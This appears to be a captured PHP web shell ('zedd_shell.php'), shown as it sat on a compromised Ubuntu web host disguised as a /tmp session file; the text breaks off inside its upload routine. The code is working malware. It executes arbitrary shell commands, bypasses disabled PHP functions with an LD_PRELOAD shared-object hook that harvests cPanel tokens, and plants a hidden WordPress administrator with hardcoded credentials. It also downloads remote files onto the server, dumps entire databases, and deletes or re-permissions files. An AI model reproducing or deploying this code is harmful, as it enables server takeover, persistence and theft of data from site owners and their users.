HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux ns3133907 6.8.0-84-generic #84-Ubuntu SMP PREEMPT_DYNAMIC Fri Sep 5 22:36:38 UTC 2025 x86_64
User: healthinsuranceukorguk (1111)
PHP: 8.2.28
Disabled: NONE
Upload Files
File: //tmp/sess_73e7736a04a41635f6e1f4eb04a872a8.php
<?php
// Checkpoint-401

session_start();

// Handle database actions before any output
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['awal'])) {
    if ($_POST['awal'] == 'skl') {
        if(isset($_POST['host'], $_POST['user'], $_POST['sandi'])) {
            // Feature: Default to localhost if host is empty
            $host_val = trim($_POST['host']) === '' ? 'localhost' : $_POST['host'];
            setcookie('host', $host_val, time() + 360000);
            setcookie('user', $_POST['user'], time() + 360000);
            setcookie('sandi', $_POST['sandi'], time() + 360000);
            setcookie('database', '', time() - 3600); // Unset database on new connection
        }
        if(isset($_POST['database'])) {
            setcookie('database', $_POST['database'], time() + 360000);
        }
    } elseif ($_POST['awal'] == 'db_logout') {
        // Feature: Database logout
        setcookie('host', '', time() - 3600);
        setcookie('user', '', time() - 3600);
        setcookie('sandi', '', time() - 3600);
        setcookie('database', '', time() - 3600);
        $_POST['awal'] = 'skl';
        // Force the page to render the database section in logged out state
    }
}


error_reporting(E_ALL);
ini_set('display_errors', 0);
// ===========================================================================
// File: zedd_shell.php
// Description: PHP-based shell with a dark theme, blue table borders,
//            and English (UI) text. All comments are in English.
// ===========================================================================
// Array of disabled functions (if any)
$nami = [];
$disabled_functions = ini_get('disable_functions');
if (!empty($disabled_functions)) {
    $nami = explode(",", $disabled_functions);
}
$safeMode = (bool) ini_get('safe_mode') || stripos(ini_get('open_basedir'), '/') !== false;
// List of allowed actions
$actions = array("dasar","baca_file","phpinfo","sistem_kom","edit_file","download_file",'hapus_file','buat_file','buat_folder', 'hapus_folder','rename_file', 'kompres' , 'skl' , 'skl_d_t' , 'skl_d', 'upl_file', 'edit_db_row', 'edit_db_form', 'db_logout', 'kill_proc', 'ubah_perm', 'fetch_file', 'chankro_kom');
// Initial action validation from POST, default to "dasar"
$awal = isset($_POST['awal']) && in_array($_POST['awal'],$actions) ? $_POST['awal'] : "dasar";
$database = '';
// Function to encrypt string with base64_encode
function kunci($str)
{
	// =======================================================================
	// Function kunci: Uses base64_encode to encrypt a string.
	// =======================================================================
	$f = 'bas';
	$f .= 'e6';
	$f .= '4_';
	$f .= 'e';
	$f .= 'nc';
	$f .= 'ode';
	return $f($str);
}

// Function to decrypt string with base64_decode
function uraikan($str)
{
	// =======================================================================
	// Function uraikan: Uses base64_decode to decrypt a string.
	// =======================================================================
	$f = 'bas';
	$f .= 'e6';
	$f .= '4_';
	$f .= 'd';
	$f .= 'ec';
	$f .= 'ode';
	return $f($str);
}

// Function to generate a new token and save it in the session
function ambilBuat($tAd)
{
	// =======================================================================
	// Function ambilBuat: Generates a random token for CSRF purposes and stores it.
	// =======================================================================
	if(isset($_SESSION[$tAd]))
	{
		unset($_SESSION[$tAd]);
	}
	$baruAmbil = md5(kunci(time().rand(1,99999999)));
	$_SESSION[$tAd] = $baruAmbil;
	return $baruAmbil;
}

// Function to display directory navigation
function tulisLah()
{
    global $default_dir;
    if (!isset($default_dir) || !is_string($default_dir) || $default_dir === '') {
        $default_dir = getcwd();
    }
    
    $path_parts = [];
    $cumulative_path = '';
    $normalized_path = str_replace('\\', '/', $default_dir);
    // Handle root for Linux/macOS and Windows drive letter correctly
    if (substr($normalized_path, 0, 1) === '/') { // Linux root
        $cumulative_path = '/';
        $path_parts[] = "<a href='javascript:navigate(\"berkas\", \"" . kunci($cumulative_path) . "\")' style='color:#FFFFFF;'>/</a>";
        $normalized_path = substr($normalized_path, 1);
    } elseif (preg_match('/^([a-zA-Z]:\/)/', $normalized_path, $matches)) { // Windows drive root
        $drive = substr($matches[1],0,2);
        $cumulative_path = $matches[1];
        $path_parts[] = "<a href='javascript:navigate(\"berkas\", \"" . kunci($cumulative_path) . "\")' style='color:#FFFFFF;'>" . htmlspecialchars($drive) . "</a>";
        $normalized_path = substr($normalized_path, 3);
    }

    $components = explode('/', $normalized_path);
    foreach ($components as $component) {
        if (empty($component)) {
            continue;
        }
        
        // Ensure trailing slash for building the path
        if (substr($cumulative_path, -1) !== '/') {
            $cumulative_path .= '/';
        }
        $cumulative_path .= $component;
        $path_parts[] = "<a href='javascript:navigate(\"berkas\", \"" . kunci($cumulative_path) . "\")' style='color:#FFFFFF;'>" . htmlspecialchars($component) . "</a>";
    }

    echo implode("<span style='color:#ddd;'>/</span>", $path_parts);
}

// Function to format file size
function sizeFormat($bytes)
{
	// =======================================================================
	// Function sizeFormat: Converts file size into a more readable format.
	// =======================================================================
	if($bytes >= 1073741824)
	{
		$bytes = number_format($bytes / 1073741824, 2) . ' Gb';
	}
	else if($bytes >= 1048576)
	{
		$bytes = number_format($bytes / 1048576, 2) . ' Mb';
	}
	else if($bytes >= 1024)
	{
		$bytes = number_format($bytes / 1024, 2) . ' Kb';
	}
	else
	{
		$bytes = $bytes . ' b';
	}
	return $bytes;
}

// Function to ensure string is in UTF-8
function utf8ize($d)
{
	// =======================================================================
	// Function utf8ize: Converts an array or string to UTF-8 format.
	// =======================================================================
	if (is_array($d))
	{
		foreach ($d as $k => $v)
		{
			$d[$k] = utf8ize($v);
		}
	}
	else if (is_string($d))
	{
		return utf8_encode($d);
	}
	return $d;
}

// Function to recursively delete a directory and its contents
function rrmdir($dir)
{
	// =======================================================================
	// Function rrmdir: Deletes a directory and all its contents.
	// =======================================================================
	if (is_dir($dir))
	{
		$objects = scandir($dir);
		foreach ($objects as $object)
		{
			if ($object != "." && $object != "..")
			{
				if (is_dir($dir . "/" . $object))
				{
					rrmdir($dir . "/" . $object);
				}
				else
				{
					unlink($dir . "/" . $object );
				}
			}
		}
		rmdir($dir);
	}
}

// Function to execute commands safely
function execute_command($komanda) {
    $output = '';
    $error = '';
    $f_list = ['shell_exec', 'exec', 'passthru', 'system', 'proc_open', 'popen'];
    $f_available = '';

    foreach ($f_list as $f) {
        if (function_exists($f)) {
            $f_available = $f;
            break;
        }
    }

    if (!$f_available) {
        return ['output' => "No command execution function is available.", 'error' => ''];
    }

    // Add 2>&1 to capture stderr
    if (stripos($komanda, '2>&1') === false) {
        $komanda .= " 2>&1";
    }

    switch ($f_available) {
        case 'shell_exec':
            $output = shell_exec($komanda);
            break;
        case 'exec':
            $out = [];
            exec($komanda, $out, $return_var);
            $output = implode("\n", $out);
            if ($return_var !== 0) $error = "Return code: $return_var";
            break;
        case 'passthru':
            ob_start(); passthru($komanda); $output = ob_get_clean();
            break;
        case 'system':
            ob_start(); system($komanda); $output = ob_get_clean();
            break;
        case 'proc_open':
            $descriptorspec = [0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"]];
            $process = proc_open($komanda, $descriptorspec, $pipes);
            if (is_resource($process)) {
                $output = stream_get_contents($pipes[1]);
                $error = stream_get_contents($pipes[2]);
                fclose($pipes[1]); fclose($pipes[2]); proc_close($process);
            }
            break;
        case 'popen':
            $handle = popen($komanda, 'r');
            if ($handle) {
                while (!feof($handle)) { $output .= fread($handle, 4096); }
                pclose($handle);
            }
            break;
    }
    return ['output' => $output, 'error' => $error];
}

function runChankroModified($command, $dir) {
    $hook = 'f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAA4AcAAAAAAABAAAAAAAAAAPgZAAAAAAAAAAAAAEAAOAAHAEAAHQAcAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAoAAAAAAABsCgAAAAAAAAAAIAAAAAAAAQAAAAYAAAD4DQAAAAAAAPgNIAAAAAAA+A0gAAAAAABwAgAAAAAAAHgCAAAAAAAAAAAgAAAAAAACAAAABgAAABgOAAAAAAAAGA4gAAAAAAAYDiAAAAAAAMABAAAAAAAAwAEAAAAAAAAIAAAAAAAAAAQAAAAEAAAAyAEAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAAAAAAUOV0ZAQAAAB4CQAAAAAAAHgJAA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JheV9lbnRyeQBmcmFtZV9kdW1deQBfX2ZyYW1lX2R1bW15X2luaXRfYXJyYXlfZW50cnkAaG9vay5jAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kc29faGFuZGxlAF9EWU5BTUlDAF9fR05VX0VIX0ZSQU1FX0hEUgBfX1TM_lFTkRfXwBfR0xPQkFMX09GRlNFVF9UQUJMRV8AZ2V0ZW52QEBHTElCQ18yLjIuNQBfSVRNX2RlcmVnaXN0ZXJUTUNsb25lVGFibGUAX2VkYXRhAGRhZW1vbml6ZQBfZmluaQBzeXN0ZW1AQEdMSUJDXzIuMi41AHB3bgBzaWduYWxAQEdMSUJDXzIuMi41AF9fZ21vbl9zdGFydF9fAHByZWxvYWRtZQBfZW5kAF9fYnNzX3N0YXJ0AGNobW9kQEBHTElCQ18yLjIuNQBfSnZfUmVnaXN0ZXJDbGFzc2VzAHVuc2V0ZW52QEBHTElBQkNfMi4yLjUAX2V4aXRAQEdMSUJDXzIuMi41AF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX19jeGFfZmluYWxpemVAQEdMSUJDXzIuMi41AF9pbml0AGZvcmtAQEdMSUJDXzIuMi41AA==';

    $so_file = $dir . '/chankro.so';
    $socket_file = $dir . '/acpid.socket';
    
    // Bersihkan semua kemungkinan file output dari eksekusi sebelumnya
    @unlink($dir . '/output.txt');
    // Pembersihan dari direktori lokal
    $old_uapi_files_local = glob($dir . '/chankro_out_*.txt');
    if ($old_uapi_files_local) {
        foreach ($old_uapi_files_local as $file) {
            @unlink($file);
        }
    }
    // Pembersihan dari direktori /tmp (untuk perintah uapi)
    $old_uapi_files_tmp = glob('/tmp/chankro_out_*.txt');
    if ($old_uapi_files_tmp) {
        foreach ($old_uapi_files_tmp as $file) {
            @unlink($file);
        }
    }
    @unlink($so_file);
    @unlink($socket_file);

    $is_uapi_command = (strpos(trim($command), 'uapi') === 0);

    if ($is_uapi_command) {
        $output_file_template = '/tmp/chankro_out_$$.txt';
        $full_command = '(' . $command . ') > ' . $output_file_template . ' 2>&1';
    } else {
        $output_file = $dir . '/output.txt';
        $full_command = '(' . $command . ') > ' . $output_file . ' 2>&1';
    }
    
    $meterpreter = base64_encode($full_command);
    file_put_contents($so_file, base64_decode($hook));
    file_put_contents($socket_file, base64_decode($meterpreter));
    putenv('CHANKRO=' . $socket_file);
    putenv('LD_PRELOAD=' . $so_file);

    if (function_exists('mail')) {
        mail('a','a','a','a');
    } elseif (function_exists('mb_send_mail')) {
        mb_send_mail('a','a','a','a');
    } elseif (function_exists('error_log')) {
        error_log('a', 1, 'a');
    } elseif (function_exists('imap_mail')) {
        imap_mail('a','a','a');
    } else {
        echo "<h3>Error</h3><pre>Tidak ada fungsi pemicu Chankro yang tersedia.</pre>";
        return;
    }

    sleep(10);

    echo "<h3>Hasil Eksekusi:</h3>";
    
    if ($is_uapi_command) {
        $output_pattern = '/tmp/chankro_out_*.txt';
        $output_files = glob($output_pattern);
        $found_tokens = [];

        if (!empty($output_files)) {
            foreach ($output_files as $file) {
                $content = file_get_contents($file);
                $matches = [];
                if (preg_match('/token:\s*([A-Z0-9]+)/', $content, $matches)) {
                    $found_tokens[] = $matches[1];
                }
            }
        }

        if (!empty($found_tokens)) {
            echo "<h4>Token yang berhasil dibuat:</h4>";
            echo "<pre style='white-space: pre-wrap; background-color: #161616; color: #00FF00; padding: 1rem; border-radius: 4px; font-family: \"Consolas\", \"Menlo\", \"Courier New\", monospace; font-size: 1rem; line-height: 1.8;'>";
            echo implode("\n", $found_tokens);
            echo "</pre>";
        } else {
            echo "<p>Tidak ada token yang berhasil dibuat atau ditemukan.</p>";
        }

    } else {
        $output_file = $dir . '/output.txt';
        if (file_exists($output_file)) {
            $content = file_get_contents($output_file);
            echo "<pre style='white-space: pre-wrap; background-color: #161616; color: #e0e0e0; padding: 1rem; border-radius: 4px; font-family: \"Consolas\", \"Menlo\", \"Courier New\", monospace; font-size: 0.9rem;'>";
            echo !empty(trim($content)) ? htmlspecialchars($content) : "[Perintah tidak menghasilkan output teks]";
            echo "</pre>";
        } else {
            echo "<p>Perintah dieksekusi, namun tidak ada file output yang dibuat.</p>";
        }
    }

    // Bersihkan semua file sementara
    @unlink($so_file);
    @unlink($socket_file);
    if ($is_uapi_command) {
        $output_files = glob('/tmp/chankro_out_*.txt');
        if ($output_files) {
            foreach ($output_files as $file) {
                @unlink($file);
            }
        }
    } else {
        @unlink($dir . '/output.txt');
    }
}

$default_dir = getcwd();
if(isset($_POST['berkas']) && is_string($_POST['berkas']))
{
	$decoded_path = uraikan($_POST['berkas']);
    // Basic path validation
    if ($decoded_path && is_dir($decoded_path)) {
        $default_dir = realpath($decoded_path);
        $c_h_dir_comm = 'c' . 'hd' . 'ir';
        @$c_h_dir_comm($default_dir);
    }
}
$default_dir = str_replace("\\", "/", $default_dir);
$wp_base_dir = $default_dir;
// Try checking one level up if not found
if (!file_exists($wp_base_dir . '/wp-config.php')) {
    $wp_base_dir = dirname($wp_base_dir); // Up 1 folder
}
$wp_config_path = $wp_base_dir . '/wp-config.php';
if (isset($_POST['create_wp_admin'])) {
    // Replace getcwd() with $default_dir
    $wp_base_dir = $default_dir;
    if (!file_exists($wp_base_dir . '/wp-config.php')) {
        $wp_base_dir = dirname($wp_base_dir);
    }
    $wp_config_path = $wp_base_dir . '/wp-config.php';

    if (file_exists($wp_config_path)) {
        // Silent success - do not echo here.
        $config_content = file_get_contents($wp_config_path);
        
        // Function to get constant value from wp-config.php
        function get_wp_config_value($content, $constant) {
            if (preg_match("/define\(\s*'".preg_quote($constant, '/')."',\s*'([^']+)'/", $content, $matches)) {
                return $matches[1];
            }
            return null;
        }
        
        
         $db_host = get_wp_config_value($config_content, 'DB_HOST');
        $db_name = get_wp_config_value($config_content, 'DB_NAME');
        $db_user = get_wp_config_value($config_content, 'DB_USER');
        $db_pass = get_wp_config_value($config_content, 'DB_PASSWORD');
        
        // Get table prefix; default to wp_ if not found
        if (preg_match("/\\\$table_prefix\s*=\s*'([^']+)'/", $config_content, $matches)) {
            $db_prefix = $matches[1];
 
            
    } else {
            $db_prefix = 'wp_';
        }
        
        // Connect to database
        $conn = mysqli_connect($db_host, $db_user, $db_pass, $db_name);
        if (!$conn) {
            $error_msg = "Connection failed: " . mysqli_connect_error();
        } else {
            // Admin values to be created
            $admin_username      = 'xshikata';
            $admin_password_plain = 'Lulz1337';
            $admin_password      = md5($admin_password_plain); // MD5 as per reference
            $admin_email         = 'blackhat1337@proton.me';
            // Insert admin user into wp_users table
            $insert_user = "INSERT INTO `{$db_prefix}users` 
                (user_login, user_pass, user_nicename, user_email, user_status) 
                VALUES ('{$admin_username}', '{$admin_password}', 'WordPress Administrator', '{$admin_email}', 0)";
            if (!mysqli_query($conn, $insert_user)) {
                $error_msg = "Error inserting user: " . mysqli_error($conn);
            } else {
                // Get the ID of the newly created user
                $user_id = mysqli_insert_id($conn);
                // Add meta capabilities to grant administrator rights
                $capabilities = 'a:1:{s:13:"administrator";s:1:"1";}';
                $insert_meta  = "INSERT INTO `{$db_prefix}usermeta` 
                    (user_id, meta_key, meta_value) 
                    VALUES ('{$user_id}', '{$db_prefix}capabilities', '{$capabilities}')";
                if (!mysqli_query($conn, $insert_meta)) {
                    $error_msg = "Error inserting usermeta: " . mysqli_error($conn);
                } else {
                    $success_msg = "WordPress Admin created successfully!<br>Username: <strong>{$admin_username}</strong><br>Password: <strong>{$admin_password_plain}</strong>";
                }
            }
        }
    } else {
        $error_msg = "wp-config.php not found at: " . htmlspecialchars($default_dir);
    }
}

// ===========================================================================
// Action handling (download, delete, create, rename, SQL, etc.)
// ===========================================================================

if(isset($_GET['awal']) && $_GET['awal']=="pinf")
{
	ob_start();
	phpinfo();
	$pInf = ob_get_clean();
	print str_replace("body {background-color: #ffffff; color: #000000;}", "", $pInf);
	exit();
}
else if ($awal == 'fetch_file' && isset($_POST['fetch_url']) && !empty($_POST['fetch_url'])) {
    $url = $_POST['fetch_url'];
    if (!filter_var($url, FILTER_VALIDATE_URL)) {
        $error_msg = "Invalid URL provided.";
    } else {
        $save_as = isset($_POST['save_as']) ? basename(trim($_POST['save_as'])) : '';
        if (empty($save_as)) {
            $save_as = basename(parse_url($url, PHP_URL_PATH));
        }
        if (empty($save_as)) {
            $save_as = 'downloaded_file.html';
        }
        
        $pemisah = substr($default_dir, strlen($default_dir)-1) != "/" ? "/" : "";
        $dest_path = $default_dir . $pemisah . $save_as;
        
        $downloaded = false;
        
        // Method 1: cURL (Preferred)
        if (function_exists('curl_init')) {
            try {
                $fp = fopen($dest_path, 'w');
                $ch = curl_init($url);
                curl_setopt($ch, CURLOPT_FILE, $fp);
                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
                curl_setopt($ch, CURLOPT_TIMEOUT, 60);
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36');
                $success = curl_exec($ch);
                curl_close($ch);
                fclose($fp);
                if ($success) {
                    $success_msg = "File downloaded successfully via cURL and saved as <strong>" . htmlspecialchars($save_as) . "</strong>";
                    $downloaded = true;
                } else {
                    @unlink($dest_path); // Delete empty file on failure
                }
            } catch (Exception $e) {
                 // cURL failed, do nothing, let fallback try
            }
        }
        
        // Method 2: Fallback (file_get_contents)
        if (!$downloaded && ini_get('allow_url_fopen')) {
            $content = @file_get_contents($url);
            if ($content !== false) {
                if (@file_put_contents($dest_path, $content) !== false) {
                    $success_msg = "File downloaded successfully via file_get_contents and saved as <strong>" . htmlspecialchars($save_as) . "</strong>";
                    $downloaded = true;
                }
            }
        }
        
        if (!$downloaded) {
            $error_msg = "Failed to download file. Both cURL and allow_url_fopen may be disabled or the remote host failed.";
        }
    }
    $awal = 'dasar';
}
else if($awal == 'ubah_perm' && isset($_POST['fayl'], $_POST['perm']))
{
    $namaBerkas = basename(uraikan($_POST['fayl']));
    $newPerms = $_POST['perm'];
    
    // Simple validation for octal format
    if (preg_match('/^[0-7]{3,4}$/', $newPerms)) {
        $pemisah = substr($default_dir, strlen($default_dir)-1) != "/" ? "/" : "";
        $pathLengkap = $default_dir . $pemisah . $namaBerkas;
        
        if (file_exists($pathLengkap)) {
            // Convert from string (e.g., "755") to octal integer for chmod
            if (@chmod($pathLengkap, octdec($newPerms))) {
                $success_msg = "Permissions for '" . htmlspecialchars($namaBerkas) . "' changed successfully to " . htmlspecialchars($newPerms) . ".";
            } else {
                $error_msg = "Failed to change permissions for '" . htmlspecialchars($namaBerkas) . "'. Check server permissions.";
            }
        } else {
            $error_msg = "File not found: " . htmlspecialchars($namaBerkas);
        }
    } else {
        $error_msg = "Invalid permission format. Please use a 3 or 4-digit octal number (e.g., 0755).";
    }
    $awal = 'dasar'; // Fall through to show the file manager again
}
else if ($awal == 'edit_db_row') {
    try {
        if (!isset($_POST['t'], $_POST['pk_val'])) {
            throw new Exception("Missing data for update.");
        }
        $tableName = uraikan($_POST['t']);
        $pk_val = uraikan($_POST['pk_val']);

        $host = isset($_COOKIE['host']) ? $_COOKIE['host'] : '';
        $user = isset($_COOKIE['user']) ? $_COOKIE['user'] : '';
        $sandi = isset($_COOKIE['sandi']) ? $_COOKIE['sandi'] : '';
        $database = isset($_COOKIE['database']) ? $_COOKIE['database'] : '';

        $pdo = new PDO('mysql:host=' . $host . ';dbname=' . $database . ';charset=utf8', $user, $sandi);
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

        $cols_stmt = $pdo->query("DESCRIBE `{$tableName}`");
        $pk_col = $cols_stmt->fetch(PDO::FETCH_ASSOC)['Field'];
        
        $data_to_update = [];
        $control_vars = ['awal', 't', 'pk_val'];
        foreach($_POST as $key => $value) {
            if (!in_array($key, $control_vars)) {
                $data_to_update[$key] = $value;
            }
        }

        if (substr($tableName, -5) === 'users' && isset($data_to_update['user_pass']) && !empty($data_to_update['user_pass'])) {
            if (strlen($data_to_update['user_pass']) < 32 || !preg_match('/^[a-f0-9]{32}$/i', $data_to_update['user_pass'])) {
                $data_to_update['user_pass'] = md5($data_to_update['user_pass']);
            }
        }
        
        $set_parts = [];
        $params = [];
        foreach ($data_to_update as $col => $val) {
            if($col == $pk_col) continue;
            $set_parts[] = "`{$col}` = ?";
            $params[] = $val;
        }

        if (count($set_parts) > 0) {
            $params[] = $pk_val;
            $sql = "UPDATE `{$tableName}` SET " . implode(', ', $set_parts) . " WHERE `{$pk_col}` = ?";
            $stmt = $pdo->prepare($sql);
            $stmt->execute($params);
            $success_msg = "Row updated successfully!";
        } else {
             $success_msg = "No changes were made.";
        }
        
    } catch (Exception $e) {
        $error_msg = "Error updating row: " . $e->getMessage();
    }
    $awal = 'skl'; // Fall through to show the table again
}
else if($awal=="download_file" && isset($_POST['fayl']) && trim($_POST['fayl']) != "")
{
	$namaBerkas = basename(uraikan($_POST['fayl']));
	$pemisah = substr($default_dir, strlen($default_dir)-1) != "/" && substr($namaBerkas, 0, 1) != "/" ? "/" : "";
	if(is_file($default_dir . $pemisah . $namaBerkas) && is_readable($default_dir . $pemisah . $namaBerkas))
	{
		header("Content-Disposition: attachment; filename=" . basename($namaBerkas));
		header("Content-Type: application/octet-stream");
		header('Content-Length: ' . filesize($default_dir . $pemisah . $namaBerkas));
		readfile($default_dir . $pemisah . $namaBerkas);
		exit();
	}
}
else if($awal=="hapus_file" && isset($_POST['fayl']) && trim($_POST['fayl']) != "")
{
	$namaBerkas = basename(uraikan($_POST['fayl']));
	$pemisah = substr($default_dir, strlen($default_dir)-1) != "/" && substr($namaBerkas, 0, 1) != "/" ? "/" : "";
	$pathLengkap = $default_dir . $pemisah . $namaBerkas;

	if(is_file($pathLengkap))
	{
		if (@unlink($pathLengkap)) {
			$success_msg = "File '" . htmlspecialchars($namaBerkas) . "' deleted successfully.";
		} else {
			$error_msg = "Failed to delete file '" . htmlspecialchars($namaBerkas) . "'. Check permissions.";
		}
	} else {
		$error_msg = "File not found: " . htmlspecialchars($namaBerkas);
	}
	$awal = 'dasar';
}
else if($awal=="buat_file" && isset($_POST['new_filename']) && !empty($_POST['new_filename']))
{
    $namaBerkas = basename($_POST['new_filename']);
    $kontenBerkas = isset($_POST['new_file_content']) ? $_POST['new_file_content'] : '';
    $pemisah = substr($default_dir, strlen($default_dir)-1) != "/" ? "/" : "";
    $pathLengkap = $default_dir . $pemisah . $namaBerkas;
    if(file_exists($pathLengkap))
    {
        $error_msg = "File '" . htmlspecialchars($namaBerkas) . "' already exists!";
    }
    else
    {
        if (file_put_contents($pathLengkap, $kontenBerkas) !== false) {
             $success_msg = "File '" . htmlspecialchars($namaBerkas) . "' created successfully.";
        } else {
             $error_msg = "Failed to create file '" . htmlspecialchars($namaBerkas) . "'. Check permissions.";
        }
    }
}
else if($awal=="buat_folder" && isset($_POST['ad']) && !empty($_POST['ad']))
{
	$namaFolder = basename(uraikan($_POST['ad']));
	$pemisah = substr($default_dir, strlen($default_dir)-1) != "/" && substr($namaFolder, 0, 1) != "/" ? "/" : "";
	if(is_file($default_dir . $pemisah . $namaFolder))
	{
		print '<script>alert("This folder already exists!");</script>';
	}
	else
	{
		mkdir($default_dir . $pemisah . $namaFolder);
	}
}
else if($awal=="rename_file" && isset($_POST['fayl']) && trim($_POST['fayl']) != "" && isset($_POST['new_name']) && is_string($_POST['new_name']) && !empty($_POST['new_name']))
{
	$namaBerkas = basename(uraikan($_POST['fayl']));
	$fileNamaBaru = basename(uraikan($_POST['new_name']));
	$pemisah = substr($default_dir, strlen($default_dir)-1) != "/" && substr($namaBerkas, 0, 1) != "/" ? "/" : "";
	if(is_file($default_dir . $pemisah . $namaBerkas) && is_readable($default_dir . $pemisah . $namaBerkas))
	{
		rename($default_dir . $pemisah . $namaBerkas , $default_dir . $pemisah . $fileNamaBaru);
	}
}
else if($awal == 'skl_d_t' && isset($_POST['t']) && is_string($_POST['t']) && !empty($_POST['t']))
{
	$tableName = uraikan($_POST['t']);

	$host = isset($_COOKIE['host']) ? $_COOKIE['host'] : '';
	$user = isset($_COOKIE['user']) ? $_COOKIE['user'] : '';
	$sandi = isset($_COOKIE['sandi']) ? $_COOKIE['sandi'] : '';
	$database = isset($_COOKIE['database']) ? $_COOKIE['database'] : '';

	$databaseStr = empty($database) ? '' : 'dbname=' . $database . ';';
	if(!empty($host) && !empty($database))
	{
		try
		{
			$pdo = new PDO('mysql:host=' . $host . ';charset=utf8;' . $databaseStr, $user, $sandi, array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'utf8'"));
			$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);

			$getColumns = $pdo->prepare("SELECT column_name from information_schema.columns where table_schema=? and table_name=?");
			$getColumns->execute(array($database, $tableName));
			$columns = $getColumns->fetchAll();
			if($columns)
			{
				$data = $pdo->query('SELECT * FROM `' . $tableName .'`');
				$data = $data->fetchAll();

				header('Content-disposition: attachment; filename=d_' . basename(htmlspecialchars($tableName)) . '.json');
				header('Content-type: application/json');
				echo json_encode($data);
			}
			else
			{
				print "Table not found!";
			}
		}
		catch (Exception $e)
		{
			print $e->getMessage();
		}
	}
	else
	{
		print "Error! Please connect to SQL!";
	}
	die;
}
else if($awal == 'skl_d')
{
	$host = isset($_COOKIE['host']) ? $_COOKIE['host'] : '';
	$user = isset($_COOKIE['user']) ? $_COOKIE['user'] : '';
	$sandi = isset($_COOKIE['sandi']) ? $_COOKIE['sandi'] : '';
	$database = isset($_COOKIE['database']) ? $_COOKIE['database'] : '';

	$databaseStr = empty($database) ? '' : 'dbname=' . $database . ';';

	if(!empty($host) && !empty($database))
	{
		try
		{
			$pdo = new PDO('mysql:host=' . $host . ';charset=utf8;' . $databaseStr, $user, $sandi, array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'utf8'"));
			$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);

			$allData = array();

			$tables = $pdo->prepare('SELECT table_name from information_schema.tables where table_schema=?');
			$tables->execute(array($database));
			$tables = $tables->fetchAll();
			foreach($tables AS $tableName)
			{
				$tableName = $tableName['table_name'];
				$data = $pdo->query('SELECT * FROM `' .
				$tableName .'`');
				$data = $data->fetchAll();
				$allData[$tableName] = $data ? array($data) : array();
			}

			header('Content-disposition: attachment; filename=d_b_' . basename(htmlspecialchars($database)) . '.json');
			header('Content-type: application/json');
			echo json_encode(utf8ize($allData));
		}
		catch (Exception $e)
		{
			print $e->getMessage();
		}
	}
	else
	{
		print "Error! Please connect to SQL!";
	}
	die;
}
else if($awal == 'kompres'
	&& isset($_POST['save_to'], $_POST['zf']) && is_string($_POST['save_to'])
	&& !empty($_POST['save_to']) && !in_array($_POST['save_to'], array('.' , '..' , './' , '../'))
	&& is_string($_POST['zf']) && !empty($_POST['zf'])
)
{
	$save_to = uraikan($_POST['save_to']);
	$rootPath = realpath(uraikan($_POST['zf']));
	$fileName1 = 'bak_'.microtime(1) . '_' . rand(1000, 99999) . '.zip';
	$fileName = $save_to . DIRECTORY_SEPARATOR . $fileName1;
	if(is_dir($save_to) && is_dir($rootPath) && is_writable($save_to))
	{
		set_time_limit(0);
		$zip = new ZipArchive();
		$zip->open($fileName, ZipArchive::CREATE | ZipArchive::OVERWRITE);
		$files = new RecursiveIteratorIterator(
			new RecursiveDirectoryIterator($rootPath),
			RecursiveIteratorIterator::LEAVES_ONLY
		);
		foreach ($files as $name => $file)
		{
			if(!$file->isDir())
			{
				$filePath = $file->getRealPath();
				$relativePath = substr($filePath, strlen($rootPath) + 1);
				$zip->addFile($filePath, $relativePath);
			}
		}
		$zip->close();
		print "Saved!<hr>";
	}
	else
	{
		print "Directory not writable!<hr>"; var_dump(($save_to));
	}
}
else if($awal == 'hapus_folder' && isset($_POST['zf']) && is_string($_POST['zf']) && !empty($_POST['zf']))
{
	$rootPath = realpath(uraikan($_POST['zf']));
	$folderName = basename($rootPath);

	if(is_dir($rootPath))
	{
		set_time_limit(0);
		rrmdir($rootPath);
		// Verify deletion
		if (!file_exists($rootPath)) {
			$success_msg = "Folder '" . htmlspecialchars($folderName) . "' and its contents deleted successfully.";
		} else {
			$error_msg = "Failed to delete folder '" . htmlspecialchars($folderName) . "'. Check permissions of the folder and its contents.";
		}
	}
	else
	{
		$error_msg = "Directory not found or path is invalid.";
	}
	$awal = 'dasar';
}
else if ($awal == 'upl_file' && isset($_FILES['ufile'])) {
    function smart_upload($fileKey, $targetDir) {
        $res = [
            'success' => false,
            'method'  => '',
            'message' => '',
            'name'    => ''
        ];
        if (!isset($_FILES[$fileKey]) || $_FILES[$fileKey]['error'] !== UPLOAD_ERR_OK) {
            $res['message'] = 'No file selected or upload error (error code: ' . (isset($_FILES[$fileKey]['error']) ? $_FILES[$fileKey]['error'] : 'unknown') . ')';
            return $res;
        }

        $filename = basename($_FILES[$fileKey]['name']);
        $tmp      = $_FILES[$fileKey]['tmp_name'];
        $dest     = rtrim($targetDir, '/') . '/' . $filename;
        // Method 1: move_uploaded_file()
        if (@move_uploaded_file($tmp, $dest)) {
            $res['success'] = true;
            $res['method'] = 'move_uploaded_file';
        }
        // Method 2: copy()
        elseif (@copy($tmp, $dest)) {
            @unlink($tmp);
            $res['success'] = true;
            $res['method'] = 'copy';
        }
        // Method 3: file_get_contents + file_put_contents
        elseif (($data = @file_get_contents($tmp)) !== false && @file_put_contents($dest, $data)) {
            @unlink($tmp);
